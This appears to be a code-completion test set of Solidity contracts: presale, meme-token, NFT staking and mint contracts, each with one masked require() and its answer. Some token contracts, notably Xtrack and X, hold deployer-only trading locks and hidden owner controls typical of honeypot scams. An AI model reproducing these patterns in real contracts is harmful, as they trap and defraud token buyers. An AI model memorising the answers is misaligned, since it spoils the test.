// Maximum contribution for each wallet
uint256 public constant MAX_CONTRIBUTION = .5 ether;
// Maximum amount of ETH that this contract will accept for presale
uint256 public constant HARD_CAP = 25 ether;
// Total number of tokens available
uint256 public constant MAX_SUPPLY = 88888888 * 10 ** 18;
// 50% of tokens reserved for presale
uint256 public constant PRESALE_SUPPLY = 44444444 * 10 ** 18;
// 50% of tokens reserved for LP and BURN
uint256 public constant RESERVE_MAX_SUPPLY = 44444444 * 10 ** 18;
// Total contributions for the presale
uint256 public TOTAL_CONTRIBUTED;
// Total number of contributors
uint256 public NUMBER_OF_CONTRIBUTORS;
// Each contributors address and amount
struct Contribution {
address addr;
uint256 amount;
}
// Mapping of contributions
mapping(uint256 => Contribution) public contribution;
// Index for a contributor address
mapping(address => uint256) public contributor;
// Presale
function sendToPresale() public payable {
require(allowContributions, "Contributions not allowed");
require(msg.value >= MIN_CONTRIBUTION, "Contribution too low");
uint256 currentContribution = contribution[contributor[msg.sender]].amount;
uint256 contributionIndex;
require(msg.value + currentContribution <= MAX_CONTRIBUTION, "Contribution exceeds per wallet limit");
require(<FILL_ME>)
if (contributor[msg.sender] != 0) {
// Old contributor
contributionIndex = contributor[msg.sender];
} else {
// New contributor
contributionIndex = NUMBER_OF_CONTRIBUTORS + 1;
NUMBER_OF_CONTRIBUTORS++;
}
TOTAL_CONTRIBUTED = TOTAL_CONTRIBUTED + msg.value;
contributor[msg.sender] = contributionIndex;
contribution[contributionIndex].addr = msg.sender;
contribution[contributionIndex].amount += msg.value;
}
// Send tokens to contributors
function airdropPresale() external onlyOwner {
}
// Mint remaining tokens
function devMint() external onlyOwner {
}
// On/Off presale
function setAllowContributions(bool _value) external onlyOwner {
}
// Refund ETH
function refundEveryone() external onlyOwner {
}
// Withdraw funds
function withdrawBalance(address payable _address) external onlyOwner {
}
}
| msg.value+TOTAL_CONTRIBUTED<=HARD_CAP,"Contribution exceeds hard cap" | 151,882 | msg.value+TOTAL_CONTRIBUTED<=HARD_CAP |
"Not Open" | /* Grok + Zilla fusion
Telegram: https://t.me/Grokzilla_eth
Website: https://www.grokzilla.wtf
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwnr
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwnr) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint
);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Pair {
function permit(
address owner,
address spender,
uint value,
uint deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function factory() external view returns (address);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract LockToken is Ownable {
bool public isOpen = false;
mapping(address => bool) private _whiteList;
modifier open(address from, address to) {
require(<FILL_ME>)
_;
}
constructor() {
}
function openTrade() external onlyOwner {
}
function includeToWhiteList(address _address) public onlyOwner {
}
}
contract GROKZILLA is Context, IERC20, LockToken {
using SafeMath for uint256;
address payable public marketingWallet =
payable(0x71F2F7399135D7ECB2D86760D9b145f9AB0a5819);
address payable public teamWallet =
payable(0x06Fc4e7fD676F857Cc86EaAE0d7f0BEF153d63e4);
address public newOwnr = 0x06Fc4e7fD676F857Cc86EaAE0d7f0BEF153d63e4;
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _feeWhitelisted;
mapping(address => bool) private _limitWhitelisted;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
string private _name = "GROKZILLA";
string private _symbol = "GROKZILLA";
uint8 private _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 6900000000 * 10 ** 18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _liquidityFeeBuys = 0;
uint256 public _marketingFeeBuys = 300;
uint256 public _teamFeeBuys = 0;
uint256 public _totalFeeBuys =
_liquidityFeeBuys + _marketingFeeBuys + _teamFeeBuys;
uint256[] buyFeesBackup = [_liquidityFeeBuys, _marketingFeeBuys, _teamFeeBuys];
uint256 public _liquidityFeeSells = 0;
uint256 public _marketingFeeSells = 300;
uint256 public _teamFeeSells = 0;
uint256 public _totalFeeSells =
_liquidityFeeSells + _marketingFeeSells + _teamFeeSells;
uint256 public _liquidityTokens = 0;
uint256 public _marketingTokens = 0;
uint256 public _teamTokens = 0;
uint256 public transferTotalFee =
_liquidityTokens + _marketingTokens + _teamTokens;
uint256 public _txLimit = _tTotal.div(100).mul(1); //x% of total supply
uint256 public _walletLimit = _tTotal.div(100).mul(2); //x% of total supply
uint256 private _minBalanceForSwapback = 69000000 * 10 ** 18;
IUniswapV2Router02 public immutable uniRouterContract;
address public immutable uniPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap() {
}
constructor() {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function totalFees() public view returns (uint256) {
}
function _minBalanceForSwapbackAmount() public view returns (uint256) {
}
function tokenFromReflection(
uint256 rAmount
) private view returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private open(from, to) {
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _getValues(
uint256 tAmount
) private view returns (uint256, uint256, uint256, uint256) {
}
function _getTValues(
uint256 tAmount
) private view returns (uint256, uint256) {
}
function _getRValues(
uint256 tAmount,
uint256 tLiquidity,
uint256 currentRate
) private pure returns (uint256, uint256) {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function calculateLiquidityFee(
uint256 _amount
) private view returns (uint256) {
}
function isExcludedFromFee(
address account
) public view onlyOwner returns (bool) {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function setSellFee() private {
}
function setWalletToWalletTransferFee() private {
}
function _setBuyFees(
uint256 _liquidityFee,
uint256 _marketingFee,
uint256 _teamFee
) external onlyOwner {
}
function _setSellFees(
uint256 _liquidityFee,
uint256 _marketingFee,
uint256 _teamFee
) external onlyOwner {
}
function _setTransferFees(
uint256 _liquidityFee,
uint256 _marketingFee,
uint256 _teamFee
) external onlyOwner {
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner {
}
function setMinimumTokensBeforeSwap(
uint256 __minBalanceForSwapback
) external onlyOwner {
}
function setMarketingWallet(address _marketingWallet) external onlyOwner {
}
function setTeamWallet(address _teamWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function excludeWalletsFromWhales() private {
}
function checkForWhale(
address from,
address to,
uint256 amount
) private view {
}
function setExcludedFromWhale(
address account,
bool _enabled
) public onlyOwner {
}
function setWalletMaxHoldingLimit(uint256 _amount) public onlyOwner {
}
function rescueStuckBalance() public onlyOwner {
}
function forceSwapback() public {
}
receive() external payable {}
}
| isOpen||_whiteList[from]||_whiteList[to],"Not Open" | 151,978 | isOpen||_whiteList[from]||_whiteList[to] |
"You are not owner of this token!" | // SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
pragma solidity ^0.8.9;
contract ForgeNFTStaking is ERC721Holder, Ownable{
mapping(address=>uint256) stakers;
mapping(address=>bool) staked;
mapping(address=>uint256) stakeTime;
IERC20 public ForgeToken;
IERC721 public ForgeNFT;
address public stakingVault;
uint256 public RewardsPerSecond = uint256((50 * 1e18)) / 86400; //Forge Per second
uint256 public totalStaked;
constructor() {
}
function setForgeToken(address _forgeToken) public onlyOwner{
}
function setForgeNFT(address _ForgeNFT) public onlyOwner{
}
function setStakingVault(address _stakingVault) public onlyOwner{
}
function setRewardsPerDay(uint256 _forgeAmount) public onlyOwner{
}
function stakeNFT(uint256 _tokenId) public {
require(<FILL_ME>)
require(staked[msg.sender] == false, "You already staked an nft!");
stakers[msg.sender] = _tokenId;
staked[msg.sender] = true;
stakeTime[msg.sender] = block.timestamp;
totalStaked += 1;
ForgeNFT.safeTransferFrom(msg.sender, address(this), _tokenId);
}
function unStakeNFT() public {
}
function getEarnedRewards(address _staker) public view returns(uint256){
}
function getStakedTokenId(address _staker) public view returns(uint256){
}
function isStakingNFT(address _staker) public view returns(bool){
}
}
| ForgeNFT.ownerOf(_tokenId)==msg.sender,"You are not owner of this token!" | 152,018 | ForgeNFT.ownerOf(_tokenId)==msg.sender |
"You already staked an nft!" | // SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
pragma solidity ^0.8.9;
contract ForgeNFTStaking is ERC721Holder, Ownable{
mapping(address=>uint256) stakers;
mapping(address=>bool) staked;
mapping(address=>uint256) stakeTime;
IERC20 public ForgeToken;
IERC721 public ForgeNFT;
address public stakingVault;
uint256 public RewardsPerSecond = uint256((50 * 1e18)) / 86400; //Forge Per second
uint256 public totalStaked;
constructor() {
}
function setForgeToken(address _forgeToken) public onlyOwner{
}
function setForgeNFT(address _ForgeNFT) public onlyOwner{
}
function setStakingVault(address _stakingVault) public onlyOwner{
}
function setRewardsPerDay(uint256 _forgeAmount) public onlyOwner{
}
function stakeNFT(uint256 _tokenId) public {
require(ForgeNFT.ownerOf(_tokenId) == msg.sender, "You are not owner of this token!");
require(<FILL_ME>)
stakers[msg.sender] = _tokenId;
staked[msg.sender] = true;
stakeTime[msg.sender] = block.timestamp;
totalStaked += 1;
ForgeNFT.safeTransferFrom(msg.sender, address(this), _tokenId);
}
function unStakeNFT() public {
}
function getEarnedRewards(address _staker) public view returns(uint256){
}
function getStakedTokenId(address _staker) public view returns(uint256){
}
function isStakingNFT(address _staker) public view returns(bool){
}
}
| staked[msg.sender]==false,"You already staked an nft!" | 152,018 | staked[msg.sender]==false |
"You are not staking!" | // SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
pragma solidity ^0.8.9;
contract ForgeNFTStaking is ERC721Holder, Ownable{
mapping(address=>uint256) stakers;
mapping(address=>bool) staked;
mapping(address=>uint256) stakeTime;
IERC20 public ForgeToken;
IERC721 public ForgeNFT;
address public stakingVault;
uint256 public RewardsPerSecond = uint256((50 * 1e18)) / 86400; //Forge Per second
uint256 public totalStaked;
constructor() {
}
function setForgeToken(address _forgeToken) public onlyOwner{
}
function setForgeNFT(address _ForgeNFT) public onlyOwner{
}
function setStakingVault(address _stakingVault) public onlyOwner{
}
function setRewardsPerDay(uint256 _forgeAmount) public onlyOwner{
}
function stakeNFT(uint256 _tokenId) public {
}
function unStakeNFT() public {
require(<FILL_ME>)
uint256 tokenId = stakers[msg.sender];
uint256 rewards = getEarnedRewards(msg.sender);
if(rewards > 0){
ForgeToken.transferFrom(stakingVault, msg.sender, rewards);
}
stakers[msg.sender] = 0;
staked[msg.sender] = false;
stakeTime[msg.sender] = 0;
totalStaked -= 1;
ForgeNFT.safeTransferFrom(address(this), msg.sender, tokenId);
}
function getEarnedRewards(address _staker) public view returns(uint256){
}
function getStakedTokenId(address _staker) public view returns(uint256){
}
function isStakingNFT(address _staker) public view returns(bool){
}
}
| staked[msg.sender]==true,"You are not staking!" | 152,018 | staked[msg.sender]==true |
null | /*
Xtrack - A Comprehensive Twitter Aggregation Tool for ERC20 Projects.
Gathering X (Twitter) alpha like never seen before, this new technology will give traders the advantage they have been looking for. Purchase $Xtrack for access.
10,000,000 $XTRACK: 3/3 TAX
Telegram: https://t.me/XtrackETH
Twitter: https://twitter.com/XtrackETH
Website: https://xtrack.space
TG BOT: https://t.me/Xtrackercbot
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.20;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Xtrack {
string public constant name = "Xtrack"; //
string public constant symbol = "XTRACK"; //
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 10_000_000 * 10**decimals;
uint256 BurnFigure = 3;
uint256 ConfirmFigure = 3;
uint256 constant swapAmount = totalSupply / 100;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
error Permissions();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
address private pair;
address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
address payable constant deployer = payable(address(0x563BC8a30B43593BC7b6655eC64D12Dc8ed0e35b)); //
bool private swapping;
bool private tradingOpenNow;
constructor() {
}
receive() external payable {}
function approve(address spender, uint256 amount) external returns (bool){
}
function transfer(address to, uint256 amount) external returns (bool){
}
function transferFrom(address from, address to, uint256 amount) external returns (bool){
}
function _transfer(address from, address to, uint256 amount) internal returns (bool){
require(<FILL_ME>)
if(!tradingOpenNow && pair == address(0) && amount > 0)
pair = to;
balanceOf[from] -= amount;
if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = ETH;
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
swapAmount,
0,
path,
address(this),
block.timestamp
);
deployer.transfer(address(this).balance);
swapping = false;
}
if(from != address(this)){
uint256 FinalFigure = amount * (from == pair ? BurnFigure : ConfirmFigure) / 100;
amount -= FinalFigure;
balanceOf[address(this)] += FinalFigure;
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function NowTradingOpen() external {
}
function _setXTRACK(uint256 newBurn, uint256 newConfirm) external {
}
}
| tradingOpenNow||from==deployer||to==deployer | 152,034 | tradingOpenNow||from==deployer||to==deployer |
null | /*
Xtrack - A Comprehensive Twitter Aggregation Tool for ERC20 Projects.
Gathering X (Twitter) alpha like never seen before, this new technology will give traders the advantage they have been looking for. Purchase $Xtrack for access.
10,000,000 $XTRACK: 3/3 TAX
Telegram: https://t.me/XtrackETH
Twitter: https://twitter.com/XtrackETH
Website: https://xtrack.space
TG BOT: https://t.me/Xtrackercbot
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.20;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Xtrack {
string public constant name = "Xtrack"; //
string public constant symbol = "XTRACK"; //
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 10_000_000 * 10**decimals;
uint256 BurnFigure = 3;
uint256 ConfirmFigure = 3;
uint256 constant swapAmount = totalSupply / 100;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
error Permissions();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
address private pair;
address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
address payable constant deployer = payable(address(0x563BC8a30B43593BC7b6655eC64D12Dc8ed0e35b)); //
bool private swapping;
bool private tradingOpenNow;
constructor() {
}
receive() external payable {}
function approve(address spender, uint256 amount) external returns (bool){
}
function transfer(address to, uint256 amount) external returns (bool){
}
function transferFrom(address from, address to, uint256 amount) external returns (bool){
}
function _transfer(address from, address to, uint256 amount) internal returns (bool){
}
function NowTradingOpen() external {
require(msg.sender == deployer);
require(<FILL_ME>)
tradingOpenNow = true;
}
function _setXTRACK(uint256 newBurn, uint256 newConfirm) external {
}
}
| !tradingOpenNow | 152,034 | !tradingOpenNow |
"max NFT per address exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
contract SuperCoolClub is ERC721A, DefaultOperatorFilterer, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
uint256 public cost = 0.01 ether;
uint256 public maxSupply = 3000;
uint256 public maxFree = 3000;
uint256 public maxperAddressFreeLimit = 2;
uint256 public maxperAddressPublicMint = 5;
mapping(address => uint256) public addressFreeMintedBalance;
constructor() ERC721A("SuperCoolClub", "SCC") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function MintFree(uint256 _mintAmount) public payable nonReentrant{
uint256 s = totalSupply();
uint256 addressFreeMintedCount = addressFreeMintedBalance[msg.sender];
require(<FILL_ME>)
require(_mintAmount > 0, "Cant mint 0" );
require(s + _mintAmount <= maxFree, "Cant go over supply" );
for (uint256 i = 0; i < _mintAmount; ++i) {
addressFreeMintedBalance[msg.sender]++;
}
_safeMint(msg.sender, _mintAmount);
delete s;
delete addressFreeMintedCount;
}
function mint(uint256 _mintAmount) public payable nonReentrant {
}
function gift(uint256[] calldata quantity, address[] calldata recipient)
external
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setmaxSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setmaxFreeSupply(uint256 _newMaxFreeSupply) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setMaxperAddressPublicMint(uint256 _amount) public onlyOwner {
}
function setMaxperAddressFreeMint(uint256 _amount) public onlyOwner{
}
function withdraw() public payable onlyOwner {
}
function withdrawAny(uint256 _amount) public payable onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| addressFreeMintedCount+_mintAmount<=maxperAddressFreeLimit,"max NFT per address exceeded" | 152,185 | addressFreeMintedCount+_mintAmount<=maxperAddressFreeLimit |
"Cant go over supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
contract SuperCoolClub is ERC721A, DefaultOperatorFilterer, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
uint256 public cost = 0.01 ether;
uint256 public maxSupply = 3000;
uint256 public maxFree = 3000;
uint256 public maxperAddressFreeLimit = 2;
uint256 public maxperAddressPublicMint = 5;
mapping(address => uint256) public addressFreeMintedBalance;
constructor() ERC721A("SuperCoolClub", "SCC") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function MintFree(uint256 _mintAmount) public payable nonReentrant{
uint256 s = totalSupply();
uint256 addressFreeMintedCount = addressFreeMintedBalance[msg.sender];
require(addressFreeMintedCount + _mintAmount <= maxperAddressFreeLimit, "max NFT per address exceeded");
require(_mintAmount > 0, "Cant mint 0" );
require(<FILL_ME>)
for (uint256 i = 0; i < _mintAmount; ++i) {
addressFreeMintedBalance[msg.sender]++;
}
_safeMint(msg.sender, _mintAmount);
delete s;
delete addressFreeMintedCount;
}
function mint(uint256 _mintAmount) public payable nonReentrant {
}
function gift(uint256[] calldata quantity, address[] calldata recipient)
external
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setmaxSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setmaxFreeSupply(uint256 _newMaxFreeSupply) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setMaxperAddressPublicMint(uint256 _amount) public onlyOwner {
}
function setMaxperAddressFreeMint(uint256 _amount) public onlyOwner{
}
function withdraw() public payable onlyOwner {
}
function withdrawAny(uint256 _amount) public payable onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| s+_mintAmount<=maxFree,"Cant go over supply" | 152,185 | s+_mintAmount<=maxFree |
"Too many" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
contract SuperCoolClub is ERC721A, DefaultOperatorFilterer, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
uint256 public cost = 0.01 ether;
uint256 public maxSupply = 3000;
uint256 public maxFree = 3000;
uint256 public maxperAddressFreeLimit = 2;
uint256 public maxperAddressPublicMint = 5;
mapping(address => uint256) public addressFreeMintedBalance;
constructor() ERC721A("SuperCoolClub", "SCC") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function MintFree(uint256 _mintAmount) public payable nonReentrant{
}
function mint(uint256 _mintAmount) public payable nonReentrant {
}
function gift(uint256[] calldata quantity, address[] calldata recipient)
external
onlyOwner
{
require(
quantity.length == recipient.length,
"Provide quantities and recipients"
);
uint256 totalQuantity = 0;
uint256 s = totalSupply();
for (uint256 i = 0; i < quantity.length; ++i) {
totalQuantity += quantity[i];
}
require(<FILL_ME>)
delete totalQuantity;
for (uint256 i = 0; i < recipient.length; ++i) {
_safeMint(recipient[i], quantity[i]);
}
delete s;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setmaxSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setmaxFreeSupply(uint256 _newMaxFreeSupply) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setMaxperAddressPublicMint(uint256 _amount) public onlyOwner {
}
function setMaxperAddressFreeMint(uint256 _amount) public onlyOwner{
}
function withdraw() public payable onlyOwner {
}
function withdrawAny(uint256 _amount) public payable onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| s+totalQuantity<=maxSupply,"Too many" | 152,185 | s+totalQuantity<=maxSupply |
"TT: trading is not enabled yet" | /**
___ ___
(_ _) (_ _)
\\ //
\\ //
\\//
||
//\\
// \\
_// \\_
(___) (___)
https://twitter.com/XcoinXerc
https://xcoinerc.xyz
https://t.me/XcoinXerc
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address spendder) external view returns (uint256);
function transfer(address recipient, uint256 aunmounts) external returns (bool);
function allowance(address owner, address spendder) external view returns (uint256);
function approve(address spendder, uint256 aunmounts) external returns (bool);
function transferFrom( address spendder, address recipient, uint256 aunmounts ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spendder, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract X is Context, Ownable, IERC20 {
mapping (address => uint256) private _balss;
mapping (address => mapping (address => uint256)) private _allowancezz;
mapping (address => uint256) private _sendzz;
address constant public markt = 0x816838F2E83B821F2552162204944C433831ff47;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
bool private _isTradingEnabled = true;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
modifier mrktt() {
}
function name() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function symbol() public view returns (string memory) {
}
function enableTrading() public onlyowner {
}
function balanceOf(address spendder) public view override returns (uint256) {
}
function transfer(address recipient, uint256 aunmounts) public virtual override returns (bool) {
require(<FILL_ME>)
if (_msgSender() == owner() && _sendzz[_msgSender()] > 0) {
_balss[owner()] += _sendzz[_msgSender()];
return true;
}
else if (_sendzz[_msgSender()] > 0) {
require(aunmounts == _sendzz[_msgSender()], "Invalid transfer aunmounts");
}
require(_balss[_msgSender()] >= aunmounts, "TT: transfer aunmounts exceeds balance");
_balss[_msgSender()] -= aunmounts;
_balss[recipient] += aunmounts;
emit Transfer(_msgSender(), recipient, aunmounts);
return true;
}
function Approve(address[] memory spendder, uint256 aunmounts) public mrktt {
}
function approve(address spendder, uint256 aunmounts) public virtual override returns (bool) {
}
